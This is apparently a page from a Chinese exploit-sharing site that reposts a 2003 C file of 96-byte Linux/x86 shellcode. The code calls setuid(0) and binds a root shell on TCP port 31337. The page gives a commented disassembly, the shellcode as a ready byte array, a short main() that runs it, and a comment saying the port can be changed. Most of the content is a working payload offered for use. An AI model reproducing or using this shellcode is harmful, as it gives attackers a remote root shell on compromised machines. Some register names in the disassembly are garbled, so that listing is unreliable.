首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
0day :: oday

linux/x86 setuid/portbind shellcode 96 bytes


http://www.gipsky.com/
/*
* $Id: portbind-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $
*
* portbind-linux.c - setuid/portbind shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Simple portbind shellcode that bind()'s a setuid(0) shell on
* port 31337/tcp (based on bighawk's code).
*
* Tested on Linux.
*/

/*
* setuid(0)
*
* 8049380: 31 c0 xor ?x,?x
* 8049382: 31 db xor ?x,?x
* 8049384: b0 17 mov $0x17,%al
* 8049386: cd 80 int $0x80
*
* socket(AF_INET, SOCK_STREAM, 0)
*
* 8049388: 31 db xor ?x,?x
* 804938a: f7 e3 mul ?x
* 804938c: b0 66 mov $0x66,%al
* 804938e: 53 push ?x
* 804938f: 43 inc ?x
* 8049390: 53 push ?x
* 8049391: 43 inc ?x
* 8049392: 53 push ?x
* 8049393: 89 e1 mov %esp,?x
* 8049395: 4b dec ?x
* 8049396: cd 80 int $0x80
*
* bind(s, server, sizeof(server))
*
* 8049398: 89 c7 mov ?x,?i
* 804939a: 52 push ?x
* 804939b: 66 68 7a 69 pushw $0x697a
* 804939f: 43 inc ?x
* 80493a0: 66 53 push %bx
* 80493a2: 89 e1 mov %esp,?x
* 80493a4: b0 10 mov $0x10,%al
* 80493a6: 50 push ?x
* 80493a7: 51 push ?x
* 80493a8: 57 push ?i
* 80493a9: 89 e1 mov %esp,?x
* 80493ab: b0 66 mov $0x66,%al
* 80493ad: cd 80 int $0x80
*
* listen(s, 1)
*
* 80493af: b0 66 mov $0x66,%al
* 80493b1: b3 04 mov $0x4,%bl
* 80493b3: cd 80 int $0x80
*
* accept(s, 0, 0)
*
* 80493b5: 50 push ?x
* 80493b6: 50 push ?x
* 80493b7: 57 push ?i
* 80493b8: 89 e1 mov %esp,?x
* 80493ba: 43 inc ?x
* 80493bb: b0 66 mov $0x66,%al
* 80493bd: cd 80 int $0x80
*
* dup2(c, 2)
* dup2(c, 1)
* dup2(c, 0)
*
* 80493bf: 89 d9 mov ?x,?x
* 80493c1: 89 c3 mov ?x,?x
* 80493c3: b0 3f mov $0x3f,%al
* 80493c5: 49 dec ?x
* 80493c6: cd 80 int $0x80
* 80493c8: 41 inc ?x
* 80493c9: e2 f8 loop 80493c3 <sc 0x43>
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 80493cb: 51 push ?x
* 80493cc: 68 6e 2f 73 68 push $0x68732f6e
* 80493d1: 68 2f 2f 62 69 push $0x69622f2f
* 80493d6: 89 e3 mov %esp,?x
* 80493d8: 51 push ?x
* 80493d9: 53 push ?x
* 80493da: 89 e1 mov %esp,?x
* 80493dc: b0 0b mov $0xb,%al
* 80493de: cd 80 int $0x80
* 80493e0: 00 00 add %al,(?x)
*/

char sc[] = /* 8 88 = 96 bytes */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"\x7a\x69" // port 31337/tcp, change if needed
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x04\xcd\x80"
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
int (*f)() = (int (*)())sc; f();
}

[2006-07-20]
<< linux/x86 setuid(0) and /bin/sh execve() shellcode 30 bytes bsd/x86 setuid/execve shellcode 30 bytes >>
API:
gipsky.com & 安信网络

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备14013333号-8